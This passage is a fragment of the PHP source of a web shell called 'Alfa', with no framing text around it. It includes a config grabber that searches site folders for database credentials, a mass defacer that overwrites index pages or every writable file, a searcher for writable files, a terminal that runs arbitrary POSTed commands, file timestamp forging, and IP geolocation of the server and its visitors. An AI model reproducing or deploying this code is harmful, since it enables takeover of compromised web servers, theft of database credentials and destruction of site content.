"\\n" .@file_get_contents($inject_to));\r\n\t\t\t\t@file_put_contents($bind_on, $bind_on_code . "\\n" .@file_get_contents($bind_on));\r\n\r\n\t\t\t\techo "success...!";\r\n\t\t\t}else{\r\n\t\t\t\techo "failed...!";\r\n\t\t\t}\r\n\t\t}else{\r\n\t\t\techo("<div style=\'text-align:center;color:red;\'>Cannot open the target...!</div>");\r\n\t\t}\r\n\t}\r\n\techo \'</div>\';\r\n\talfafooter();\r\n}\r\nfunction alfaarchive_manager(){\r\n\talfahead();\r\n\t$file = $_POST[\'alfa2\'];\r\n\tif(!file_exists($file)){\r\n\t\t$file = $GLOBALS[\'cwd\'];\r\n\t}\r\n\t$rand_id = rand(9999, 999999);\r\n\techo \'<div class=header><center><p><div class="txtfont_header">| Archive Manager |</div></p>\';\r\n\techo \'<form name="srch" onSubmit="g(\\\'archive_manager\\\',null,null,this.file.value,null,null,\\\'>>\\\');return false;" method=\\\'post\\\'>\r\n\t<div class="txtfont">\r\n\tArchive file: <input size="50" id="target" type="text" name="file" value="\'.$file.\'">\r\n\t<input type="submit" name="btn" value=" "></div></form></center><br>\';\r\n\tif($_POST[\'alfa5\']==\'>>\'){\r\n\t\t//echo __pre();\r\n\t\techo \'<hr><div style="margin-left: 12px;" archive_full="phar://\'.$file.\'" archive_name="\'.basename($file).\'" id="archive_dir_\'.$rand_id.\'" class="archive_dir_holder"><span>PWD: </span><div class="archive_pwd_holder" style="display:inline-block"><a>/</a></div></div>\';\r\n\t\techo \'<div style="padding: 10px;" id="archive_base_\'.$rand_id.\'">\';\r\n\t\t__alfa_open_archive_file($file, $rand_id);\r\n\t\techo \'</div>\';\r\n\t}\r\n\techo \'</div>\';\r\n\talfafooter();\r\n}\r\nfunction __alfa_open_archive_file($arch, $base_id=0){\r\n\ttry{\r\n\t\t$files = array();\r\n\t\t$dirs = array();\r\n\t\t$archive = new PharData($arch);\r\n\t\t foreach($archive as $file) {\r\n\t\t\t $file_modify = @date(\'Y-m-d H:i:s\', @filemtime($file->getPathname()));\r\n\t\t if($file->isDir()) {\r\n\t\t\t\t $dirs[] = array("name" => $file->getFileName(), "path" => $file->getPathname(), "type" => "dir", "modify" => $file_modify);\r\n\t\t }else{\r\n\t\t\t\t $file_size = @filesize($file->getPathname());\r\n\t\t\t\t $files[] = array("name" => $file->getFileName(), "path" => $file->getPathname(), "type" => "file", "modify" => $file_modify, "size" => $file_size);\r\n\t\t\t }\r\n\t\t }\r\n\t\t function __alfa_open_archive_usort($a, $b){\r\n\t\t\t return strcmp(strtolower($a[\'name\']), strtolower($b[\'name\']))*1;\r\n\t\t }\r\n\t\t usort($dirs, "__alfa_open_archive_usort");\r\n\t\t usort($files, "__alfa_open_archive_usort");\r\n\t\t $files = array_merge($dirs, $files);\r\n\t\t echo \'<table width="100%" class="main" cellspacing="0" cellpadding="2"><tbody><tr><th>Name</th><th>Size</th><th>Modify</th><th>Actions</th></tr>\';\r\n\t\t $icon = \'<img class="archive-icons" src="\'.findicon(\'..\',\'dir\').\'" width="30" height="30">\';\r\n\t\t echo \'<tr><th><a base_id="\'.$base_id.\'" class="archive-file-row" fname=".." onclick="alfaOpenArchive(this);" path="\'.dirname($arch.\'.php\').\'">\'.$icon.\'<span class="archive-name archive-type-dir">| .. |</span></a><td>dir</td><td>-</td><td>-</td></tr>\';\r\n\t\t foreach($files as $file){\r\n\t\t\t $icon = \'<img class="archive-icons" src="\'.findicon($file[\'name\'],$file[\'type\']).\'" width="30" height="30">\';\r\n\t\t\t if($file["type"] == "dir"){\r\n\t\t\t \techo \'<tr><th><a base_id="\'.$base_id.\'" class="archive-file-row" onclick="alfaOpenArchive(this);" path="\'.$file["path"].\'" fname="\'.$file["name"].\'">\'.$icon.\'<span class="archive-name archive-type-dir">| \'.$file["name"].\' |</span></a><td>dir</td><td>\'.$file["modify"].\'</td><td>-</td></tr>\';\r\n\t\t \t}else{\r\n\t\t\t\techo "<tr><th><a base_id=\'".$base_id."\' class=\'archive-file-row\' onclick=\\"editor(\'".$file["path"]."\',\'auto\',\'\',\'\',\'\',\'file\');\\">".$icon."<span class=\'archive-name archive-type-file\' fname=\'".$file["name"]."\'>".$file["name"]."</span></a><td>".alfaSize($file["size"])."</td><td>".$file["modify"]."</td><td>-</td></tr>";\r\n\r\n\t\t\t}\r\n\t\t }\r\n\t\t echo \'</table>\';\r\n\t}catch(Exception $e){\r\n\t\techo("0");\r\n\t}\r\n}\r\nfunction alfaopen_archive_dir(){\r\n\t$dir = $_POST["alfa1"];\r\n\t$base_id = $_POST["alfa2"];\r\n\t__alfa_open_archive_file($dir, $base_id);\r\n}\r\nfunction alfaconfig_grabber(){\r\n\talfahead();\r\n\techo \'<div class=header><center><p><div class="txtfont_header">| Config Grabber |</div></p>\';\r\n\techo \'<form name="srch" onSubmit="g(\\\'config_grabber\\\',null,null,this.dir.value,this.ext.value,null,\\\'>>\\\');return false;" method=\\\'post\\\'>\r\n\t<div class="txtfont">\r\n\tDir: <input size="50" id="target" type="text" name="dir" value="\'.$GLOBALS[\'cwd\'].\'">\r\n\tExt: <small><font color="red">[ * = all Ext ]</font></small> <input id="ext" style="text-align:center;" type="text" name="ext" size="5" value="php">\r\n\t<input type="submit" name="btn" value=" "></div></form></center><br>\';\r\n\t$dir = $_POST[\'alfa2\'];\r\n\t$ext = $_POST[\'alfa3\'];\r\n\tif($_POST[\'alfa5\']==\'>>\'){\r\n\t\techo __pre();\r\n\t\tAlfa_ConfigGrabber($dir, $ext);\r\n\t}\r\n\techo \'</div>\';\r\n\talfafooter();\r\n}\r\nfunction Alfa_ConfigGrabber($dir, $ext) {\r\n\t$pattern = "#define[ ]{0,}\\([ ]{0,}(?:\'|\\")DB_HOST(?:\'|\\")[ ]{0,}|define[ ]{0,}\\([ ]{0,}(?:\'|\\")DB_HOSTNAME(?:\'|\\")[ ]{0,}|config\\[(?:\'|\\")MasterServer(?:\'|\\")\\]\\[(?:\'|\\")password(?:\'|\\")\\]|(?:\'|\\")database(?:\'|\\")[ ]{0,}=>[ ]{0,}(?:\'|\\")(.*?)(?:\'|\\")|(?:\'|\\")(mysql|database)(?:\'|\\")[ ]{0,}=>[ ]{0,}array|db_name|db_user|db_pass|db_server|db_host|dbhost|dbname|dbuser|dbpass|database_name|database_user|database_pass|mysql_user|mysql_pass|mysqli_connect|mysql_connect|new[ ]{0,}mysqli#i";\r\n\t$db_files = array("wp-config.php","configure.php","config.inc.php","configuration.php","config.php","conf.php","dbclass.php","class_core.php","dist-configure.php", "settings.php", "conf_global.php", "db.php", "connect.php", "confing.db.php", "config.db.php", "database.php");\r\n\tif(@is_readable($dir)){\r\n\t\t$globFiles = @glob("$dir/*.$ext");\r\n\t\t$globDirs = @glob("$dir/*", GLOB_ONLYDIR);\r\n\t\t$blacklist = array();\r\n\t\tforeach ($globDirs as $dir) {\r\n\t\t\tif(!@is_readable($dir)||@is_link($dir)) continue;\r\n\t\t\t@Alfa_ConfigGrabber($dir, $ext);\r\n\t\t}\r\n\t\tforeach ($globFiles as $file){\r\n\t\t\t$filee = @file_get_contents($file);\r\n\t\t\tif(preg_match($pattern, $filee)){\r\n\t\t\t\techo "<div><span>$file</span> <a style=\'cursor:pointer;\' onclick=\\"editor(\'".$file."\',\'auto\',\'\',\'\',\'\',\'file\');\\">[ View file ]</a></div>";\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\nfunction alfasearcher(){\r\nalfahead();\r\necho \'<div class=header><center><p><div class="txtfont_header">| Searcher |</div></p><h3><a href=javascript:void(0) onclick="g(\\\'searcher\\\',null,\\\'file\\\')">| Find Readable Or Writable Files | </a><a href=javascript:void(0) onclick="g(\\\'searcher\\\',null,\\\'str\\\')">| Find Files By Name | </a></h3></center>\';\r\nif(isset($_POST[\'alfa1\'])&&$_POST[\'alfa1\']==\'file\'){\r\necho \'<center><div class="txtfont_header">| Find Readable Or Writable Files |</div><br><br><form name="srch" onSubmit="g(\\\'searcher\\\',null,\\\'file\\\',this.filename.value,this.ext.value,this.method.value,\\\'>>\\\');return false;" method=\\\'post\\\'>\r\n<div class="txtfont">\r\nMethod: <select style="width: 18%;" onclick="alfa_searcher_tool(this.value);" name="method"><option value="files">Find All Writable Files</option><option value="dirs">Find All Writable Dirs</option><option value="all">Find All Readable And Writable Files</option></select>\r\nDir: <input size="50" id="target" type="text" name="filename" value="\'.$GLOBALS[\'cwd\'].\'">\r\nExt: <small><font color="red">[ * = all Ext ]</font></small> <input id="ext" style="text-align:center;" type="text" name="ext" size="5" value="php">\r\n<input type="submit" name="btn" value=" "></div></form></center><br>\';\r\n$dir = $_POST[\'alfa2\'];\r\n$ext = $_POST[\'alfa3\'];\r\n$method = $_POST[\'alfa4\'];\r\nif($_POST[\'alfa5\']==\'>>\'){\r\necho __pre();\r\nif(substr($dir,-1)==\'/\')$dir=substr($dir,0,-1);\r\nAlfa_Searcher($dir,trim($ext),$method);\r\n}\r\n}\r\nif($_POST[\'alfa1\']==\'str\'){\r\necho \'<center><div class="txtfont_header">| Find Files By Name / Find String In Files |</div><br><br><form onSubmit="g(\\\'searcher\\\',null,\\\'str\\\',this.dir.value,this.string.value,\\\'>>\\\',this.ext.value,this.method.value);return false;" method=\\\'post\\\'>\r\n<div class="txtfont">\r\nMethod: <select name="method"><option value="name">Find Files By Name</option><option value="str">Find String In Files</option></select>\r\nString: <input type="text" name="string" value="">\r\nDir: <input size="50" type="text" name="dir" value="\'.$GLOBALS[\'cwd\'].\'">\r\nExt: <small><font color="red">[ * = all Ext ]</font></small> <input id="ext" style="text-align:center;" type="text" name="ext" size="5" value="php">\r\n<input type="submit" name="btn" value=" "></div></form></center><br>\';\r\n$dir = $_POST[\'alfa2\'];\r\n$string = $_POST[\'alfa3\'];\r\n$ext = $_POST[\'alfa5\'];\r\nif(!empty($string) AND !empty($dir) AND $_POST[\'alfa4\'] == \'>>\'){\r\necho __pre();\r\nAlfa_StrSearcher($dir,$string,$ext,$_POST[\'alfa6\']);\r\n}\r\n}\r\necho \'</div>\';\r\nalfafooter();\r\n}\r\nfunction alfaMassDefacer(){\r\nalfahead();\r\nAlfaNum(5,6,7,8,9,10);\r\necho "<div class=header><center><p><div class=\'txtfont_header\'>| Mass Defacer |</div></p><form onSubmit=\\"g(\'MassDefacer\',null,this.massdir.value,this.defpage.value,this.method.value,\'>>\');return false;\\" method=\'post\'>";\r\necho \'<div class="txtfont">Deface Method: <select name="method"><option value="index">Deface Index Dirs</option><option value="all">All Files</option></select>\r\n\tMass dir: <input size="50" id="target" type="text" name="massdir" value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">\r\n\tDefPage: <input size="50" type="text" name="defpage" value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'"></div> <input type="submit" name="btn" value=" "></center></p>\r\n</form>\';\r\n$dir = $_POST[\'alfa1\'];\r\n$defpage = $_POST[\'alfa2\'];\r\n$method = $_POST[\'alfa3\'];\r\n$fCurrent = $GLOBALS[\'__file_path\'];\r\nif($_POST[\'alfa4\'] == \'>>\'){\r\nif(!empty($dir)){\r\nif(@is_dir($dir)){\r\nif(@is_readable($dir)){\r\nif(@is_file($defpage)){\r\nif($dh = @opendir($dir)){\r\necho __pre();\r\nwhile (($file = @readdir($dh)) !== false){\r\nif($file == \'..\' || $file == \'.\')continue;\r\n$newfile=$dir.$file;\r\nif($fCurrent == $newfile)continue;\r\nif(@is_dir($newfile)){\r\nAlfa_ReadDir($newfile,$method,$defpage);\r\n}else{\r\nif(!@is_writable($newfile))continue;\r\nif(!@is_readable($newfile))continue;\r\nAlfa_Rewriter($newfile,$file,$defpage,$method);\r\n}\r\n}\r\nclosedir($dh);\r\n}else{__alert(\'<font color="red">Error In OpenDir...</font>\');}\r\n}else{__alert(\'<font color="red">DefPage File NotFound...</font>\');}\r\n}else{__alert(\'<font color="red">Directory is not Readable...</font>\');}\r\n}else{__alert(\'<font color="red">Mass Dir is Invalid Dir...</font>\');}\r\n}else{__alert(\'<font color="red">Dir is Empty...</font>\');}\r\n}\r\necho \'</div>\';\r\nalfafooter();\r\n}\r\nfunction Alfa_ReadDir($dir,$method=\'\',$defpage=\'\'){\r\nif(!@is_readable($dir)) return false;\r\nif (@is_dir($dir)) {\r\nif ($dh = @opendir($dir)) {\r\nwhile(($file=readdir($dh))!==false) {\r\nif($file == \'..\' || $file == \'.\')continue;\r\n$newfile=$dir.\'/\'.$file;\r\nif(@is_readable($newfile)&&@is_dir($newfile))Alfa_ReadDir($newfile,$method,$defpage);\r\nif(@is_file($newfile)){\r\nif(!@is_readable($newfile))continue;\r\nAlfa_Rewriter($newfile,$file,$defpage,$method);\r\n}\r\n}\r\nclosedir($dh);\r\n}\r\n}\r\n}\r\nfunction Alfa_Rewriter($dir,$file,$defpage,$m=\'index\'){\r\nif(!@is_writable($dir)) return false;\r\nif(!@is_readable($dir)) return false;\r\n$defpage=@file_get_contents($defpage);\r\nif($m == \'index\'){\r\n$indexs = array(\'index.php\',\'index.htm\',\'index.html\',\'default.asp\',\'default.aspx\',\'index.asp\',\'index.aspx\',\'index.js\');\r\nif(in_array(strtolower($file),$indexs)){\r\n@file_put_contents($dir,$defpage);\r\necho @is_file($dir)?$dir."<b><font color=\'red\'>DeFaced...</b></font><br>" : \'\';\r\n}\r\n}elseif($m==\'all\'){\r\n@file_put_contents($dir,$defpage);\r\necho @is_file($dir)?$dir." <b><font color=\'red\'>DeFaced...</b></font><br>" : \'\';\r\n}\r\n}\r\nfunction alfaGetDisFunc(){\r\nalfahead();\r\necho \'<div class="header">\';\r\n$disfun = @ini_get(\'disable_functions\');\r\n$s = explode(\',\',$disfun);\r\n$f = array_unique($s);\r\necho \'<center><br><b><font color="#7CFC00">Disable Functions</font></b><pre><table border="1"><tr><td align="center" style="background-color: green;color: white;width:5%">#</td><td align="center" style="background-color: green;color: white;">Func Name</td></tr>\';\r\n$i=1;\r\nforeach($f as $s){\r\n$s=trim($s);\r\nif(function_exists($s)||!is_callable($s))continue;\r\necho \'<tr><td align="center" style="background-color: black;">\'.$i.\'</td>\';\r\necho \'<td align="center" style="background-color: black;"><a style="text-decoration: none;" target="_blank" href="http://php.net/manual/en/function.\'.str_replace(\'_\',\'-\',$s).\'.php"><span class="disable_functions"><b>\'.$s.\'</b></span></a></td>\';\r\n$i++;\r\n}\r\necho \'</table></center>\';\r\necho \'</div>\';\r\nalfafooter();\r\n}\r\nfunction Alfa_Create_A_Tag($action,$vals){\r\n$nulls = array();\r\nforeach($vals as $key => $val){\r\necho \'<a href=javascript:void(0) onclick="g(\\\'\'.$action.\'\\\',\';\r\nfor($i=1;$i<=$val[1]-1;$i++)$nulls[] = \'null\';\r\n$f = implode(\',\',$nulls);\r\necho $f.\',\\\'\'.$val[0].\'\\\');return false;">| \'.$key.\' | </a>\';\r\nunset($nulls);\r\n}\r\n}\r\nfunction Alfa_Searcher($dir, $ext, $method) {\r\nif(@is_readable($dir)){\r\nif($method == \'all\')$ext = \'*\';\r\nif($method == \'dirs\')$ext = \'*\';\r\n$globFiles = @glob("$dir/*.$ext");\r\n$globDirs = @glob("$dir/*", GLOB_ONLYDIR);\r\n$blacklist = array();\r\nforeach ($globDirs as $dir) {\r\nif(!@is_readable($dir)||@is_link($dir)) continue;\r\n@Alfa_Searcher($dir, $ext, $method);\r\n}\r\nswitch($method){\r\ncase "files":\r\nforeach ($globFiles as $file){\r\nif(@is_writable($file)){\r\necho "$file<br>";\r\n}\r\n}\r\nbreak;\r\ncase "dirs":\r\nforeach ($globFiles as $file){\r\nif(@is_writable(dirname($file)) && !in_array(dirname($file), $blacklist)){\r\necho dirname($file).\'<br>\';\r\n$blacklist[] = dirname($file);\r\n}\r\n}\r\nbreak;\r\ncase "all":\r\nforeach ($globFiles as $file){\r\necho $file.\'<br>\';\r\n}\r\nbreak;\r\n}\r\nunset($blacklist);\r\n}\r\n}\r\nfunction AlfaiFrameCreator($f,$width=\'100%\',$height=\'600px\'){\r\nreturn(\'<iframe src="\'.__ALFA_DATA_FOLDER__."/".$f.\'" width="\'.$width.\'" height="\'.$height.\'" frameborder="0"></iframe>\');\r\n}\r\nclass AlfaCURL {\r\npublic $headers;\r\npublic $user_agent;\r\npublic $compression;\r\npublic $cookie_file;\r\npublic $proxy;\r\npublic $path;\r\npublic $ssl = true;\r\npublic $curl_status = true;\r\nfunction __construct($cookies=false,$compression=\'gzip\',$proxy=\'\'){\r\nif(!extension_loaded(\'curl\')){$curl_status = false;return false;}\r\n$this->headers[] = \'Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg\';\r\n$this->headers[] = \'Connection: Keep-Alive\';\r\n$this->headers[] = \'Content-type: application/x-www-form-urlencoded;charset=UTF-8\';\r\n$this->user_agent = \'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36)\';\r\n$this->path = ALFA_TEMPDIR.\'/Alfa_cookies.txt\';\r\n$this->compression=$compression;\r\n$this->proxy=$proxy;\r\n$this->cookies=$cookies;\r\nif($this->cookies)$this->cookie($this->path);\r\n}\r\nfunction cookie($cookie_file) {\r\nif (_alfa_file_exists($cookie_file,false)) {\r\n$this->cookie_file=$cookie_file;\r\n}else{\r\n@fopen($cookie_file,\'w\') or die($this->error(\'The cookie file could not be opened.\'));\r\n$this->cookie_file=$cookie_file;\r\n@fclose($this->cookie_file);\r\n}\r\n}\r\nfunction Send($url,$method="get",$data=""){\r\nif(!$this->curl_status){return false;}\r\n$process = curl_init($url);\r\ncurl_setopt($process, CURLOPT_HTTPHEADER, $this->headers);\r\ncurl_setopt($process, CURLOPT_HEADER, 0);\r\ncurl_setopt($process, CURLOPT_USERAGENT, $this->user_agent);\r\ncurl_setopt($process, CURLOPT_RETURNTRANSFER, 1);\r\ncurl_setopt($process, CURLOPT_ENCODING , $this->compression);\r\ncurl_setopt($process, CURLOPT_TIMEOUT, 30);\r\nif($this->ssl){\r\ncurl_setopt($process, CURLOPT_SSL_VERIFYPEER ,false);\r\ncurl_setopt($process, CURLOPT_SSL_VERIFYHOST,false);\r\n}\r\nif($this->cookies){\r\ncurl_setopt($process, CURLOPT_COOKIEFILE, $this->path);\r\ncurl_setopt($process, CURLOPT_COOKIEJAR, $this->path);\r\n}\r\nif($this->proxy){\r\ncurl_setopt($process, CURLOPT_PROXY, $this->proxy);\r\n}\r\nif($method==\'post\'){\r\ncurl_setopt($process, CURLOPT_POSTFIELDS, $data);\r\ncurl_setopt($process, CURLOPT_POST, 1);\r\ncurl_setopt($process, CURLOPT_HTTPHEADER, array(\'Content-Type: application/x-www-form-urlencoded\'));\r\n}\r\n$return = @curl_exec($process);\r\ncurl_close($process);\r\nreturn $return;\r\n}\r\nfunction error($error) {\r\necho "<center><div style=\'width:500px;border: 3px solid #FFEEFF; padding: 3px; background-color: #FFDDFF;font-family: verdana; font-size: 10px\'><b>cURL Error</b><br>$error</div></center>";\r\ndie;\r\n}\r\n}\r\nfunction getConfigHtml($cms){\r\n$content = \'\';\r\n$cms_array = array("wp" => "WordPress", "vb" => "vBulletin", "whmcs" => "Whmcs", "joomla" => "Joomla", "phpnuke" => "PHPNuke","phpbb"=>"PHPBB","mybb"=>"MyBB","drupal"=>"Drupal","smf"=>"SMF");\r\n$content .= "<form class=\'getconfig\' onSubmit=\'g(\\"GetConfig\\",null,this.cms.value,this.path.value,this.getAttribute(\\"base_id\\"));return false;\'><div class=\'txtfont\'>Cms: </div> <select name=\'cms\'style=\'width:100px;\'>";\r\nforeach($cms_array as $key => $val){\r\n$content .= "<option value=\'{$key}\' ".($key==$cms?\'selected=selected\':\'\').">{$val}</option>";\r\n}\r\n$content .= "</select> <div class=\'txtfont\'>Path(installed cms/Config): </div> <input type=\'text\' name=\'path\' value=\'".$_SERVER[\'DOCUMENT_ROOT\']."/\' size=\'30\' /> <button class=\'button\'>GetConfig</button>";\r\n$content .= "</form>";\r\nreturn $content;\r\n}\r\nif (!function_exists(\'json_encode\')){\r\n function json_encode($a=false){\r\n if (is_null($a)) return \'null\';\r\n if ($a === false) return \'false\';\r\n if ($a === true) return \'true\';\r\n if (is_scalar($a))\r\n {\r\n if (is_float($a))\r\n {\r\n return floatval(str_replace(",", ".", strval($a)));\r\n }\r\n\r\n if (is_string($a))\r\n {\r\n static $jsonReplaces = array(array("\\\\", "/", "\\n", "\\t", "\\r", "\\b", "\\f", \'"\'), array(\'\\\\\\\\\', \'\\\\/\', \'\\\\n\', \'\\\\t\', \'\\\\r\', \'\\\\b\', \'\\\\f\', \'\\"\'));\r\n return \'"\' . str_replace($jsonReplaces[0], $jsonReplaces[1], $a) . \'"\';\r\n }\r\n else\r\n return $a;\r\n }\r\n $isList = true;\r\n for ($i = 0, reset($a); $i < count($a); $i++, next($a))\r\n {\r\n if (key($a) !== $i)\r\n {\r\n $isList = false;\r\n break;\r\n }\r\n }\r\n $result = array();\r\n if ($isList)\r\n {\r\n foreach ($a as $v) $result[] = json_encode($v);\r\n return \'[\' . join(\',\', $result) . \']\';\r\n }\r\n else\r\n {\r\n foreach ($a as $k => $v) $result[] = json_encode($k).\':\'.json_encode($v);\r\n return \'{\' . join(\',\', $result) . \'}\';\r\n }\r\n }\r\n}\r\nif ( !function_exists(\'json_decode\') ){\r\nfunction json_decode($json, $array=true){\r\n $comment = false;\r\n $out = \'$x=\';\r\n for ($i=0; $i<strlen($json); $i++)\r\n {\r\n if (!$comment)\r\n {\r\n if ($json[$i] == \'{\' || $json[$i] == \'[\'){$out .= \' array(\';}\r\n else if ($json[$i] == \'}\' || $json[$i] == \']\'){$out .= \')\';}\r\n else if ($json[$i] == \':\'){$out .= \'=>\';}\r\n else {$out .= $json[$i];}\r\n }\r\n else $out .= $json[$i];\r\n if ($json[$i] == \'"\') $comment = !$comment;\r\n }\r\n eval($out . \';\');\r\n return $x;\r\n}\r\n}\r\nfunction alfaterminalExec(){\r\n\t$pwd = "pwd";\r\n\t$seperator = ";";\r\n\tif($GLOBALS[\'sys\']!=\'unix\'){\r\n\t\t$pwd = "cd";\r\n\t\t$seperator = "&";\r\n\t}\r\n\tif($GLOBALS["glob_chdir_false"]&&!empty($_POST["c"])){$cmd = "cd \'".addslashes($_POST["c"])."\'".$seperator;}\r\n\t$current_path = \'\';\r\n\tif(preg_match("/cd[ ]{0,}(.*)[ ]{0,}".$seperator."|cd[ ]{0,}(.*)[ ]{0,}/i", $_POST[\'alfa1\'], $match)){\r\n\t\tif(empty($match[1])){\r\n\t\t\t$match[1] = $match[2];\r\n\t\t}\r\n\t\t$current_path = alfaEx("cd ".addslashes($match[1]).$seperator.$pwd);\r\n\t\t$current_path = str_replace("\\\\", "/", $current_path);\r\n\t}\r\n\t$out = alfaEx($cmd.$_POST[\'alfa1\'], true);\r\n\t$out = htmlspecialchars($out);\r\n\techo json_encode(array("output" => convertBash($out), "path" => $current_path));\r\n}\r\nfunction convertBash($code) {\r\n $dictionary = array(\r\n \'[01;30m\' => \'<span style="color:black">\',\r\n \'[01;31m\' => \'<span style="color:red">\',\r\n \'[01;32m\' => \'<span style="color:green">\',\r\n \'[01;33m\' => \'<span style="color:yellow">\',\r\n \'[01;34m\' => \'<span style="color:blue">\',\r\n \'[01;35m\' => \'<span style="color:purple">\',\r\n \'[01;36m\' => \'<span style="color:cyan">\',\r\n \'[01;37m\' => \'<span style="color:white">\',\r\n \'[0m\' => \'</span>\'\r\n );\r\n $htmlString = str_replace(array_keys($dictionary), $dictionary, $code);\r\n return $htmlString;\r\n}\r\nfunction alfadoActions(){\r\n\t$chdir_fals = false;\r\n\tif(!@chdir($_POST[\'c\'])){\r\n\t\t$chdir_fals = true;\r\n\t\t$alfa_canruncmd = _alfa_can_runCommand(true,true);\r\n\t}\r\n\tif(isset($_POST[\'alfa1\']))$_POST[\'alfa1\'] = rawurldecode($_POST[\'alfa1\']);\r\n\tif(isset($_POST[\'alfa2\']))$_POST[\'alfa2\'] = rawurldecode($_POST[\'alfa2\']);\r\n\t$action = $_POST["alfa3"];\r\n\tif($action == "permission"){\r\n\t\t$perms = 0;\r\n\t\t$perm = $_POST["alfa2"];\r\n\t\tfor($i=strlen($perm)-1;$i>=0;--$i){\r\n\t\t\t$perms += (int)$perm[$i]*pow(8, (strlen($perm)-$i-1));\r\n\t\t}\r\n\t\tif(@chmod($_POST[\'alfa1\'], $perms)){\r\n\t\t\techo("done");\r\n\t\t}else{\r\n\t\t\techo("no");\r\n\t\t}\r\n\t\treturn;\r\n\t}\r\n\tif($action == "rename" || $action == "move"){\r\n\t\t$alfa1_decoded = $_POST[\'alfa1\'];\r\n\t\tif($chdir_fals){\r\n\t\t\t$_POST[\'alfa1\'] = $_POST["c"]."/".$_POST["alfa1"];\r\n\t\t}\r\n\t\t$_POST[\'alfa1\'] = trim($_POST[\'alfa1\']);\r\n\t\t$alfa1_escape = addslashes($_POST["alfa1"]);\r\n\t\tif($_POST["alfa3"] == "rename"){\r\n\t\t\t$_POST[\'alfa2\'] = basename($_POST[\'alfa2\']);\r\n\t\t}\r\n\t\tif(!empty($_POST[\'alfa2\'])){\r\n\t\t\t$cmd_rename = false;\r\n\t\t\tif($chdir_fals&&$alfa_canruncmd){\r\n\t\t\t\tif(_alfa_is_writable($_POST[\'alfa1\'])){\r\n\t\t\t\t\t$cmd_rename = true;\r\n\t\t\t\t\t$alfa1_escape = addslashes($alfa1_decoded);\r\n\t\t\t\t\talfaEx("cd \'".addslashes($_POST[\'c\'])."\';mv \'".$alfa1_escape."\' \'".addslashes($_POST[\'alfa2\'])."\'");\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif(!file_exists($_POST[\'alfa2\'])){\r\n\t\t\t\tif(@rename($_POST[\'alfa1\'], $_POST[\'alfa2\'])||$cmd_rename){\r\n\t\t\t\t\techo "done";\r\n\t\t\t\t}else{\r\n\t\t\t\t\techo "no";\r\n\t\t\t\t}\r\n\t\t\t}else{\r\n\t\t\t\techo "no";\r\n\t\t\t}\r\n\t\t}\r\n\t}elseif($action == "copy"){\r\n\t\tif(is_dir($_POST["alfa1"])){\r\n\t\t\t$dir = str_replace(\'//\', \'/\', $_POST["alfa1"]);\r\n\t\t\t$dir = explode(\'/\', $dir);\r\n\t\t\tif(empty($dir[count($dir) - 1])){\r\n\t\t\t\t$name = $dir[count($dir) - 2];\r\n\t\t\t}else{\r\n\t\t\t\t$name = $dir[count($dir) - 1];\r\n\t\t\t}\r\n\t\t}else{\r\n\t\t\t$name = basename($_POST["alfa1"]);\r\n\t\t}\r\n\t\t$dir = dirname($_POST["alfa1"]);\r\n\t\tif($dir == "."){\r\n\t\t\t$dir = $_POST["c"]."/";\r\n\t\t}\r\n\t\tif(is_file($_POST["alfa1"])){\r\n\t\t\t@copy($_POST["alfa1"], $_POST["alfa2"]);\r\n\t\t\techo("done");\r\n\t\t}elseif(is_dir($_POST["alfa1"])){\r\n\t\t\tif(!is_dir($_POST["alfa2"])){\r\n\t\t\t\tmkdir($_POST["alfa2"], 0755, true);\r\n\t\t\t}\r\n\t\t\tcopy_paste($dir, $name , $_POST["alfa2"] . "/");\r\n\t\t\techo("done");\r\n\t\t}\r\n\t}elseif($action == "modify"){\r\n\t\tif( !empty($_POST[\'alfa1\']) ) {\r\n\t\t\t$time = strtotime($_POST[\'alfa1\']);\r\n\t\t\tif($time){\r\n\t\t\t\t$touched = false;\r\n\t\t\t\tif($chdir_fals&&$alfa_canruncmd){\r\n\t\t\t\t\talfaEx("cd \'".addslashes($_POST["c"])."\';touch -d \'".htmlspecialchars(addslashes($_POST[\'alfa1\']))."\' \'".addslashes($_POST[\'alfa2\'])."\'");\r\n\t\t\t\t\t$touched = true;\r\n\t\t\t\t}\r\n\t\t\t\tif(!@touch($_POST[\'alfa2\'],$time,$time)&&!$touched){\r\n\t\t\t\t\techo \'no\';\r\n\t\t\t\t}else{\r\n\t\t\t\t\techo \'ok\';\r\n\t\t\t\t}\r\n\t\t\t} else{\r\n\t\t\t\t echo \'badtime\';\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n}\r\nfunction alfaget_flags(){\r\n\t$flags = array();\r\n\tif(function_exists("curl_version")){\r\n\t\t$curl = new AlfaCURL();\r\n\t\t$server_addr = (!@$_SERVER["SERVER_ADDR"]?(function_exists("gethostbyname")?@gethostbyname($_SERVER[\'SERVER_NAME\']):\'????\'):@$_SERVER["SERVER_ADDR"]);\r\n\t\t$flag = $curl->Send("http://www.geoplugin.net/json.gp?ip=" . $server_addr);\r\n\t\t$flag2 = $curl->Send("http://www.geoplugin.net/json.gp?ip=" . $_SERVER["REMOTE_ADDR"]);\r\n\t\tif(strpos($flag2, "geoplugin") != false){\r\n\t\t\t$flag = json_decode($flag, true);\r\n\t\t\t$flag2 = json_decode($flag2, true);\r\n\t\t\tif(!empty($flag[\'geoplugin_countryCode\'])){\r\n\t\t\t\t$flags["server"]["name"] = $flag[\'geoplugin_countryName\'];\r\n\t\t\t\t$flags["server"]["code"] = $flag[\'geoplugin_countryCode\'];\r\n\t\t\t}\r\n\t\t\tif(!empty($flag2[\'geoplugin_countryCode\'])){\r\n\t\t\t\t$flags["client"]["name"] = $flag2[\'geoplugin_countryName\'];\r\n\t\t\t\t$flags["client"]["code"] = $flag2[\'geoplugin_countryCode\'];\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\techo json_encode($flags);\r\n}\r\nfunction alfaGetConfig(){\r\n$cms = $_POST[\'alfa1\'];\r\n$path = trim($_POST[\'alfa2\']);\r\n$config = array(\r\n\'wp\'=>array(\'file\'=>\'/wp-config.php\',\r\n\'host\'=>array("/define[ ]{0,}\\([ ]{0,}(?:\'|\\")DB_HOST(?:\'|\\")[ ]{0,},[ 